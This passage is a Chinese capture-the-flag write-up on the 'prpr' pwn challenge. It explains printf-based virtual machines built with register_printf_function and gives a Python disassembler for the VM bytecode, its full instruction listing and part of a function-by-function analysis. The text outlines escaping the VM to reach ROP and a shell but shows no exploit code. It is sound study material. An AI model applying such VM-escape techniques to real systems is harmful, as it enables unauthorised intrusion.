强网S8 prpr复现
前言
这算是我打的第二个大型赛事,作为pwn手就出了一道题目,丢人了,感觉时间都浪费在chat_with_me那一道题目上了。一开始思路没搞对,以为是house_of_banana,学了一个下午后给它本地做出来了,但是远程没跑出来,猜测是环境的问题,ld加载的地址偏移问题,后面又换思路才弄出来,被自己菜哭了。
这道prpr算是我做的第4道vm题目了,也是难度最大的一集。队里面的heshi师傅都做了40个小时才做出来,太难了!!!
正文
这道题算是RE中的“printf虚拟机”。这种VM的特点是使用register_printf_function函数,注册一些函数,用来解析某些特定的格式化字符串
前置知识
自定义printf虚拟机
众所周知,printf中可以自定义格式占位符(spec)的行为,就像使用%x可以输出一个数的十六进制一样,在使用register_printf_function后可以将指定spec与指定转换函数绑定,从而自定义输出行为。
register_printf_function函数
用于printf虚拟机使用register_printf_function函数用于注册新的输出转换,需要在printf虚拟机前执行,一般为了掩人耳目会放在init中作为初始函数表的一部分。其函数定义如下:
int register_printf_function (int spec, printf_function handler-function,
printf_arginfo_function arginfo-function)
其参数含义如下:
spec:格式占位符。
如spec为'A'
时,该函数注册的是%A
的输出转换。可以覆盖如%x、%s等默认spec的定义,建议一般使用大写字母以示区分。
handler-function:处理该spec的转换函数,其函数定义如下:
int function (FILE *stream, const struct printf_info *info, const void *const *args)
简单来说,info是在解析到spec时获取的信息结构体,如解析到%10X
时,info -> width = 10
(后文也会用到);args是获取的参 数列表,通过上文的arginfo-function指定参数个数n以后,它会在printf的参数列表中依次获取n个参数。
arginfo-function:指定该spec所需的参数个数和参数类型,函数定义如下:
size_t parse_printf_format (const char *template, size_t n, int *argtypes)
这里需要关注的是argtypes和返回值,argtypes是一个数组,分别指定了各参数的类型,如PA_INT、PA_CHAR等,最后返回该spec 所需的参数个数。
解题方法
找到register_printf_function,记录各格式占位符的作用
编写VM解释器将format字符串转换为汇编
理解这个vm的内存机制。随后找到vm的漏洞,拿到vm_shellcode的执行权。
想办法构造vm_shellcode,实现vm逃逸(即用vm的指令泄露主程序的信息,或者改写主程序的内存)
vm逃逸之后,就可以控制主程序进入rop,拿到shell或者flag
题目分析
如果没做过printf虚拟机的话,这道题上来看到main
函数里只有一句printf,大概会觉得很莫名其妙:
将格式化字符串逆向完毕后结果如下:
其中虚拟机指令片段在.rodata段0x3140处:
这里参考星盟的wp写了一个脚本对指令进行翻译:
#coding:utf8
from pwn import *
context(arch='i386')
map2=['{ "%x", 0 }',
'{ "%a", 0 }',
'{ "%Y", 1 }',
'{ "%U", 255 }',
'{ "%k", 1 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%k", 1 }',
'{ "%U", 0 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%a", 0 }',
'{ "%Y", 2 }',
'{ "%U", 63 }',
'{ "%k", 2 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%k", 2 }',
'{ "%U", 0 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%k", 2 }',
'{ "%U", 4 }',
'{ "%i", 0 }',
'{ "%c", 0 }',
'{ "%k", 1 }',
'{ "%D", 0 }',
'{ "%k", 2 }',
'{ "%U", 4 }',
'{ "%i", 0 }',
'{ "%b", 0 }',
'{ "%n", 0 }',
'{ "%a", 0 }',
'{ "%Y", 3 }',
'{ "%a", 0 }',
'{ "%Y", 4 }',
'{ "%U", 63 }',
'{ "%k", 4 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%k", 4 }',
'{ "%U", 0 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%U", 0 }',
'{ "%Y", 5 }',
'{ "%k", 4 }',
'{ "%k", 5 }',
'{ "%r", 0 }',
'{ "%S", 59 }',
'{ "%g", 60 }',
'{ "%k", 3 }',
'{ "%C", 0 }',
'{ "%y", 0 }',
'{ "%k", 5 }',
'{ "%U", 1 }',
'{ "%A", 0 }',
'{ "%Y", 5 }',
'{ "%N", 46 }',
'{ "%n", 0 }',
'{ "%a", 0 }',
'{ "%k", 5 }',
'{ "%#X", 0 }',
'{ "%k", 5 }',
'{ "%#V", 0 }',
'{ "%U", 255 }',
'{ "%M", 0 }',
'{ "%S", 0 }',
'{ "%k", 5 }',
'{ "%#V", 0 }',
'{ "%n", 0 }',
'{ "%a", 0 }',
'{ "%Y", 0 }',
'{ "%U", 1 }',
'{ "%k", 0 }',
'{ "%M", 0 }',
'{ "%T", 79 }',
'{ "%g", 1 }',
'{ "%N", 71 }',
'{ "%U", 2 }',
'{ "%k", 0 }',
'{ "%M", 0 }',
'{ "%T", 85 }',
'{ "%g", 32 }',
'{ "%N", 71 }',
'{ "%U", 3 }',
'{ "%k", 0 }',
'{ "%M", 0 }',
'{ "%T", 91 }',
'{ "%g", 110 }',
'{ "%N", 71 }',
'{ "%U", 4 }',
'{ "%k", 0 }',
'{ "%M", 0 }',
'{ "%T", 97 }',
'{ "%g", 141 }',
'{ "%N", 71 }',
'{ "%U", 5 }',
'{ "%k", 0 }',
'{ "%M", 0 }',
'{ "%T", 103 }',
'{ "%g", 178 }',
'{ "%N", 71 }',
'{ "%U", 6 }',
'{ "%k", 0 }',
'{ "%M", 0 }',
'{ "%T", 109 }',
'{ "%g", 209 }',
'{ "%N", 71 }',
'{ "%x", 0 }',
'{ "%a", 0 }',
'{ "%Y", 1 }',
'{ "%U", 255 }',
'{ "%k", 1 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%k", 1 }',
'{ "%U", 0 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%a", 0 }',
'{ "%Y", 2 }',
'{ "%U", 63 }',
'{ "%k", 2 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%k", 2 }',
'{ "%U", 0 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%k", 2 }',
'{ "%U", 4 }',
'{ "%i", 0 }',
'{ "%c", 0 }',
'{ "%k", 1 }',
'{ "%H", 0 }',
'{ "%k", 2 }',
'{ "%U", 4 }',
'{ "%i", 0 }',
'{ "%b", 0 }',
'{ "%n", 0 }',
'{ "%a", 0 }',
'{ "%Y", 3 }',
'{ "%a", 0 }',
'{ "%Y", 4 }',
'{ "%U", 62 }',
'{ "%k", 4 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%k", 4 }',
'{ "%U", 0 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%U", 0 }',
'{ "%Y", 5 }',
'{ "%k", 4 }',
'{ "%k", 5 }',
'{ "%r", 0 }',
'{ "%S", 177 }',
'{ "%g", 60 }',
'{ "%k", 3 }',
'{ "%G", 0 }',
'{ "%k", 5 }',
'{ "%#X", 0 }',
'{ "%k", 5 }',
'{ "%#V", 0 }',
'{ "%U", 255 }',
'{ "%M", 0 }',
'{ "%S", 0 }',
'{ "%k", 5 }',
'{ "%#V", 0 }',
'{ "%y", 0 }',
'{ "%k", 5 }',
'{ "%U", 1 }',
'{ "%A", 0 }',
'{ "%Y", 5 }',
'{ "%N", 155 }',
'{ "%n", 0 }',
'{ "%a", 0 }',
'{ "%Y", 1 }',
'{ "%U", 255 }',
'{ "%k", 1 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%k", 1 }',
'{ "%U", 0 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%a", 0 }',
'{ "%Y", 2 }',
'{ "%U", 63 }',
'{ "%k", 2 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%k", 2 }',
'{ "%U", 0 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%k", 2 }',
'{ "%U", 4 }',
'{ "%i", 0 }',
'{ "%c", 0 }',
'{ "%k", 1 }',
'{ "%F", 0 }',
'{ "%k", 2 }',
'{ "%U", 4 }',
'{ "%i", 0 }',
'{ "%b", 0 }',
'{ "%n", 0 }',
'{ "%a", 0 }',
'{ "%Y", 3 }',
'{ "%a", 0 }',
'{ "%Y", 4 }',
'{ "%U", 63 }',
'{ "%k", 4 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%k", 4 }',
'{ "%U", 0 }',
'{ "%r", 0 }',
'{ "%S", 0 }',
'{ "%U", 0 }',
'{ "%Y", 5 }',
'{ "%k", 4 }',
'{ "%k", 5 }',
'{ "%r", 0 }',
'{ "%S", 245 }',
'{ "%g", 60 }',
'{ "%k", 3 }',
'{ "%E", 0 }',
'{ "%k", 5 }',
'{ "%#X", 0 }',
'{ "%k", 5 }',
'{ "%#V", 0 }',
'{ "%U", 255 }',
'{ "%M", 0 }',
'{ "%S", 0 }',
'{ "%k", 5 }',
'{ "%#V", 0 }',
'{ "%y", 0 }',
'{ "%k", 5 }',
'{ "%U", 1 }',
'{ "%A", 0 }',
'{ "%Y", 5 }',
'{ "%N", 223 }',
'{ "%n", 0 }',
'{ "%x", 0 }',
'{ "%x", 0 }',
'{ "%x", 0 }',
'{ "%x", 0 }']
map = {
'O': 'logo',
'A': 'add [rsp-8],[rsp]; pop rsp;',
'C': 'and [rsp-8],[rsp]; pop rsp;',
'D': 'HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] & vmcodes->vmdata[offset]->data[0]; pop rsp;',
'E': 'or[rsp-8],[rsp]; pop rsp;',
'F': 'HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] | vmcodes->vmdata[offset]->data[0]; pop rsp;',
'G': 'xor [rsp-8],[rsp]; pop rsp;',
'H': 'HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] ^ vmcodes->vmdata[offset]->data[0]; pop rsp;',
'i': 'mult [rsp-8],[rsp]; pop rsp;',
'J': 'shl vmcodes->stack[rsp] , vmcodes->stack[rsp + 1];',
'K': 'shr vmcodes->stack[rsp] , vmcodes->stack[rsp + 1];',
'r': 'greater',
'M': 'eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;',
'N': 'jmp',
'S': 'cmp vmcodes->stack[rsp-- + 1] , 0; jnz',
'T': 'cmp vmcodes->stack[rsp-- + 1] , 0; jz',
'U': 'push',
'V': 'load',
'k': 'push register',
'X': 'store',
'Y': 'pop register',
'y': '__printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;',
'a': 'scanf("%d",&vmcodes->stack[++stack + 1]);',
'b': 'write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;',
'c': 'read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;',
'f': 'dec sp',
'g': 'call',
'n': 'return',
'x': 'exit_'
}
with open('prpr', 'rb') as f:
content = f.read()
code = content[0x3140:0x3140 + 250 * 12]
no_args = ['exit_', 'return', 'dec sp', 'scanf("%d",&vmcodes->stack[++stack + 1]);', 'add [rsp-8],[rsp]; pop rsp;',
'__printf_chk(1LL, "%d\n", vmcodes->stack[v3 + 1])]; pop[ stack;',
'write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;',
'mult [rsp-8],[rsp]; pop rsp;', 'read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;',
'and [rsp-8],[rsp]; pop rsp;', 'xor [rsp-8],[rsp]; pop rsp;', 'or[rsp-8],[rsp]; pop rsp;',
'HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] ^ vmcodes->vmdata[offset]->data[0]; pop rsp;',
'HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] | vmcodes->vmdata[offset]->data[0]; pop rsp;',
'HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] & vmcodes->vmdata[offset]->data[0]; pop rsp;',
'greater','eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;',
'__printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;']
for i in range(250):
opcode = chr(code[i * 12 + 1])
dont_change_sp = False
if opcode == '#':
opcode = chr(code[i * 12 + 2])
dont_change_sp = True
op_str = opcode
if opcode == 'V':
if dont_change_sp:
op_str = f"'{i}'{map2[i]} *sp = mem[*sp]"
else:
op_str = f"'{i}'{map2[i]} push mem['{code[i * 12 + 8]}]"
elif opcode == 'X':
if dont_change_sp:
op_str = f"'{i}'{map2[i]} mem[pop()]=pop()"
else:
op_str = f"'{i}'{map2[i]} mem['{code[i * 12 + 8]}]=pop()"
elif opcode in map:
op_str = f"'{i}'{map2[i]} {map[opcode]}"
if map[opcode] not in no_args:
if not op_str.endswith("_r"):
op_str += ' '
op_str += str(code[i * 12 + 8])
else:
op_str = opcode
print(op_str)
输出如下:
'0'{ "%x", 0 } exit_
'1'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'2'{ "%Y", 1 } pop register 1
'3'{ "%U", 255 } push 255
'4'{ "%k", 1 } push register 1
'5'{ "%r", 0 } greater
'6'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'7'{ "%k", 1 } push register 1
'8'{ "%U", 0 } push 0
'9'{ "%r", 0 } greater
'10'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'11'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'12'{ "%Y", 2 } pop register 2
'13'{ "%U", 63 } push 63
'14'{ "%k", 2 } push register 2
'15'{ "%r", 0 } greater
'16'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'17'{ "%k", 2 } push register 2
'18'{ "%U", 0 } push 0
'19'{ "%r", 0 } greater
'20'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'21'{ "%k", 2 } push register 2
'22'{ "%U", 4 } push 4
'23'{ "%i", 0 } mult [rsp-8],[rsp]; pop rsp;
'24'{ "%c", 0 } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'25'{ "%k", 1 } push register 1
'26'{ "%D", 0 } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] & vmcodes->vmdata[offset]->data[0]; pop rsp;
'27'{ "%k", 2 } push register 2
'28'{ "%U", 4 } push 4
'29'{ "%i", 0 } mult [rsp-8],[rsp]; pop rsp;
'30'{ "%b", 0 } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'31'{ "%n", 0 } return
'32'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'33'{ "%Y", 3 } pop register 3
'34'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'35'{ "%Y", 4 } pop register 4
'36'{ "%U", 63 } push 63
'37'{ "%k", 4 } push register 4
'38'{ "%r", 0 } greater
'39'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'40'{ "%k", 4 } push register 4
'41'{ "%U", 0 } push 0
'42'{ "%r", 0 } greater
'43'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'44'{ "%U", 0 } push 0
'45'{ "%Y", 5 } pop register 5
'46'{ "%k", 4 } push register 4
'47'{ "%k", 5 } push register 5
'48'{ "%r", 0 } greater
'49'{ "%S", 59 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 59
'50'{ "%g", 60 } call 60
'51'{ "%k", 3 } push register 3
'52'{ "%C", 0 } and [rsp-8],[rsp]; pop rsp;
'53'{ "%y", 0 } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'54'{ "%k", 5 } push register 5
'55'{ "%U", 1 } push 1
'56'{ "%A", 0 } add [rsp-8],[rsp]; pop rsp;
'57'{ "%Y", 5 } pop register 5
'58'{ "%N", 46 } jmp 46
'59'{ "%n", 0 } return
'60'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'61'{ "%k", 5 } push register 5
'62'{ "%#X", 0 } mem[pop()]=pop()
'63'{ "%k", 5 } push register 5
'64'{ "%#V", 0 } *sp = mem[*sp]
'65'{ "%U", 255 } push 255
'66'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'67'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'68'{ "%k", 5 } push register 5
'69'{ "%#V", 0 } *sp = mem[*sp]
'70'{ "%n", 0 } return
'71'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'72'{ "%Y", 0 } pop register 0
'73'{ "%U", 1 } push 1
'74'{ "%k", 0 } push register 0
'75'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'76'{ "%T", 79 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 79
'77'{ "%g", 1 } call 1
'78'{ "%N", 71 } jmp 71
'79'{ "%U", 2 } push 2
'80'{ "%k", 0 } push register 0
'81'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'82'{ "%T", 85 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 85
'83'{ "%g", 32 } call 32
'84'{ "%N", 71 } jmp 71
'85'{ "%U", 3 } push 3
'86'{ "%k", 0 } push register 0
'87'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'88'{ "%T", 91 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 91
'89'{ "%g", 110 } call 110
'90'{ "%N", 71 } jmp 71
'91'{ "%U", 4 } push 4
'92'{ "%k", 0 } push register 0
'93'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'94'{ "%T", 97 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 97
'95'{ "%g", 141 } call 141
'96'{ "%N", 71 } jmp 71
'97'{ "%U", 5 } push 5
'98'{ "%k", 0 } push register 0
'99'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'100'{ "%T", 103 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 103
'101'{ "%g", 178 } call 178
'102'{ "%N", 71 } jmp 71
'103'{ "%U", 6 } push 6
'104'{ "%k", 0 } push register 0
'105'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'106'{ "%T", 109 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 109
'107'{ "%g", 209 } call 209
'108'{ "%N", 71 } jmp 71
'109'{ "%x", 0 } exit_
'110'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'111'{ "%Y", 1 } pop register 1
'112'{ "%U", 255 } push 255
'113'{ "%k", 1 } push register 1
'114'{ "%r", 0 } greater
'115'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'116'{ "%k", 1 } push register 1
'117'{ "%U", 0 } push 0
'118'{ "%r", 0 } greater
'119'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'120'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'121'{ "%Y", 2 } pop register 2
'122'{ "%U", 63 } push 63
'123'{ "%k", 2 } push register 2
'124'{ "%r", 0 } greater
'125'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'126'{ "%k", 2 } push register 2
'127'{ "%U", 0 } push 0
'128'{ "%r", 0 } greater
'129'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'130'{ "%k", 2 } push register 2
'131'{ "%U", 4 } push 4
'132'{ "%i", 0 } mult [rsp-8],[rsp]; pop rsp;
'133'{ "%c", 0 } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'134'{ "%k", 1 } push register 1
'135'{ "%H", 0 } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] ^ vmcodes->vmdata[offset]->data[0]; pop rsp;
'136'{ "%k", 2 } push register 2
'137'{ "%U", 4 } push 4
'138'{ "%i", 0 } mult [rsp-8],[rsp]; pop rsp;
'139'{ "%b", 0 } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'140'{ "%n", 0 } return
'141'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'142'{ "%Y", 3 } pop register 3
'143'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'144'{ "%Y", 4 } pop register 4
'145'{ "%U", 62 } push 62
'146'{ "%k", 4 } push register 4
'147'{ "%r", 0 } greater
'148'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'149'{ "%k", 4 } push register 4
'150'{ "%U", 0 } push 0
'151'{ "%r", 0 } greater
'152'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'153'{ "%U", 0 } push 0
'154'{ "%Y", 5 } pop register 5
'155'{ "%k", 4 } push register 4
'156'{ "%k", 5 } push register 5
'157'{ "%r", 0 } greater
'158'{ "%S", 177 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 177
'159'{ "%g", 60 } call 60
'160'{ "%k", 3 } push register 3
'161'{ "%G", 0 } xor [rsp-8],[rsp]; pop rsp;
'162'{ "%k", 5 } push register 5
'163'{ "%#X", 0 } mem[pop()]=pop()
'164'{ "%k", 5 } push register 5
'165'{ "%#V", 0 } *sp = mem[*sp]
'166'{ "%U", 255 } push 255
'167'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'168'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'169'{ "%k", 5 } push register 5
'170'{ "%#V", 0 } *sp = mem[*sp]
'171'{ "%y", 0 } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'172'{ "%k", 5 } push register 5
'173'{ "%U", 1 } push 1
'174'{ "%A", 0 } add [rsp-8],[rsp]; pop rsp;
'175'{ "%Y", 5 } pop register 5
'176'{ "%N", 155 } jmp 155
'177'{ "%n", 0 } return
'178'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'179'{ "%Y", 1 } pop register 1
'180'{ "%U", 255 } push 255
'181'{ "%k", 1 } push register 1
'182'{ "%r", 0 } greater
'183'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'184'{ "%k", 1 } push register 1
'185'{ "%U", 0 } push 0
'186'{ "%r", 0 } greater
'187'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'188'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'189'{ "%Y", 2 } pop register 2
'190'{ "%U", 63 } push 63
'191'{ "%k", 2 } push register 2
'192'{ "%r", 0 } greater
'193'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'194'{ "%k", 2 } push register 2
'195'{ "%U", 0 } push 0
'196'{ "%r", 0 } greater
'197'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'198'{ "%k", 2 } push register 2
'199'{ "%U", 4 } push 4
'200'{ "%i", 0 } mult [rsp-8],[rsp]; pop rsp;
'201'{ "%c", 0 } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'202'{ "%k", 1 } push register 1
'203'{ "%F", 0 } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] | vmcodes->vmdata[offset]->data[0]; pop rsp;
'204'{ "%k", 2 } push register 2
'205'{ "%U", 4 } push 4
'206'{ "%i", 0 } mult [rsp-8],[rsp]; pop rsp;
'207'{ "%b", 0 } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'208'{ "%n", 0 } return
'209'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'210'{ "%Y", 3 } pop register 3
'211'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'212'{ "%Y", 4 } pop register 4
'213'{ "%U", 63 } push 63
'214'{ "%k", 4 } push register 4
'215'{ "%r", 0 } greater
'216'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'217'{ "%k", 4 } push register 4
'218'{ "%U", 0 } push 0
'219'{ "%r", 0 } greater
'220'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'221'{ "%U", 0 } push 0
'222'{ "%Y", 5 } pop register 5
'223'{ "%k", 4 } push register 4
'224'{ "%k", 5 } push register 5
'225'{ "%r", 0 } greater
'226'{ "%S", 245 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 245
'227'{ "%g", 60 } call 60
'228'{ "%k", 3 } push register 3
'229'{ "%E", 0 } or[rsp-8],[rsp]; pop rsp;
'230'{ "%k", 5 } push register 5
'231'{ "%#X", 0 } mem[pop()]=pop()
'232'{ "%k", 5 } push register 5
'233'{ "%#V", 0 } *sp = mem[*sp]
'234'{ "%U", 255 } push 255
'235'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'236'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'237'{ "%k", 5 } push register 5
'238'{ "%#V", 0 } *sp = mem[*sp]
'239'{ "%y", 0 } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'240'{ "%k", 5 } push register 5
'241'{ "%U", 1 } push 1
'242'{ "%A", 0 } add [rsp-8],[rsp]; pop rsp;
'243'{ "%Y", 5 } pop register 5
'244'{ "%N", 223 } jmp 223
'245'{ "%n", 0 } return
'246'{ "%x", 0 } exit_
'247'{ "%x", 0 } exit_
'248'{ "%x", 0 } exit_
'249'{ "%x", 0 } exit_
注意程序一开始没有执行exit_,它是从第71条指令:scanf("%d",&vmcodes->stack[++stack + 1]);;开始执行的
分析一下这段执行的vmcode,功能一共有7个,
function1
'71'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'72'{ "%Y", 0 } pop register 0
'73'{ "%U", 1 } push 1
'74'{ "%k", 0 } push register 0
'75'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'76'{ "%T", 79 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 79
'77'{ "%g", 1 } call 1
'78'{ "%N", 71 } jmp 71
'1'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'2'{ "%Y", 1 } pop register 1
'3'{ "%U", 255 } push 255
'4'{ "%k", 1 } push register 1
'5'{ "%r", 0 } greater
'6'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'7'{ "%k", 1 } push register 1
'8'{ "%U", 0 } push 0
'9'{ "%r", 0 } greater
'10'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'11'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'12'{ "%Y", 2 } pop register 2
'13'{ "%U", 63 } push 63
'14'{ "%k", 2 } push register 2
'15'{ "%r", 0 } greater
'16'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'17'{ "%k", 2 } push register 2
'18'{ "%U", 0 } push 0
'19'{ "%r", 0 } greater
'20'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'21'{ "%k", 2 } push register 2
'22'{ "%U", 4 } push 4
'23'{ "%i", 0 } mult [rsp],[rsp+1]; pop rsp;
'24'{ "%c", 0 } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'25'{ "%k", 1 } push register 1
'26'{ "%D", 0 } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] & vmcodes->vmdata[offset]->data[0]; pop rsp;
'27'{ "%k", 2 } push register 2
'28'{ "%U", 4 } push 4
'29'{ "%i", 0 } mult [rsp],[rsp+1]; pop rsp;
'30'{ "%b", 0 } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'31'{ "%n", 0 } return
function2
'79'{ "%U", 2 } push 2
'80'{ "%k", 0 } push register 0
'81'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'82'{ "%T", 85 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 85
'83'{ "%g", 32 } call 32
'84'{ "%N", 71 } jmp 71
'32'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'33'{ "%Y", 3 } pop register 3
'34'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'35'{ "%Y", 4 } pop register 4
'36'{ "%U", 63 } push 63
'37'{ "%k", 4 } push register 4
'38'{ "%r", 0 } greater
'39'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'40'{ "%k", 4 } push register 4
'41'{ "%U", 0 } push 0
'42'{ "%r", 0 } greater
'43'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'44'{ "%U", 0 } push 0
'45'{ "%Y", 5 } pop register 5
'46'{ "%k", 4 } push register 4
'47'{ "%k", 5 } push register 5
'48'{ "%r", 0 } greater
'49'{ "%S", 59 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 59
'50'{ "%g", 60 } call 60
'60'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'61'{ "%k", 5 } push register 5
'62'{ "%#X", 0 } mem[pop()]=pop()
'63'{ "%k", 5 } push register 5
'64'{ "%#V", 0 } *sp = mem[*sp]
'65'{ "%U", 255 } push 255
'66'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
